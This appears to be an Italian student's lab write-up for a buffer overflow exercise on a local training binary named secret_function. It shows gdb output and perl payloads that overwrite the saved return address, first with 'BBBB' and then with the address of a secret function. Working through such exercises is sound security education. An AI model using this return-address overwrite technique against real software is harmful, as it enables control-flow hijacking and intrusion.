Screenshot di gdb:

```
(gdb) run $(perl -e 'print "A"x16,"BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Compiti/secret_function $(perl -e 'print "A"x16,"BBBB"')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
```

- Come prima proviamo a scatenare un segmentation fault
- Dopo pochi tentativi vediamo che per fare ciò basta dare come argomento al programma una stringa di 16 caratteri
- Per controllare che ciò che viene scritto dopo questa sequenza sovrascriva l'indirizzo di ritorno aggiungiamo alle 16 "A" la stringa "BBBB"; si nota che ora l'indirizzo di ritorno è `0x42424242`, come ci si aspettava
- Con

  ```
  (gdb) info function
  ```

  vediamo che ci sono diverse funzioni segrete

  ```
  0x565561c9  secret_function_rreal
  0x565562fa  secret_function_maybe
  0x5655642b  secret_function_maybe_flag
  0x56556583  secret_function_super_rreal
  0x565566b4  secret_function_not
  0x56556809  secret_function_rr
  ```

- Per `secret_function_rreal`

  ```
  run $(perl -e 'print "A"x16,"\xc9\x61\x55\x56"')
  ```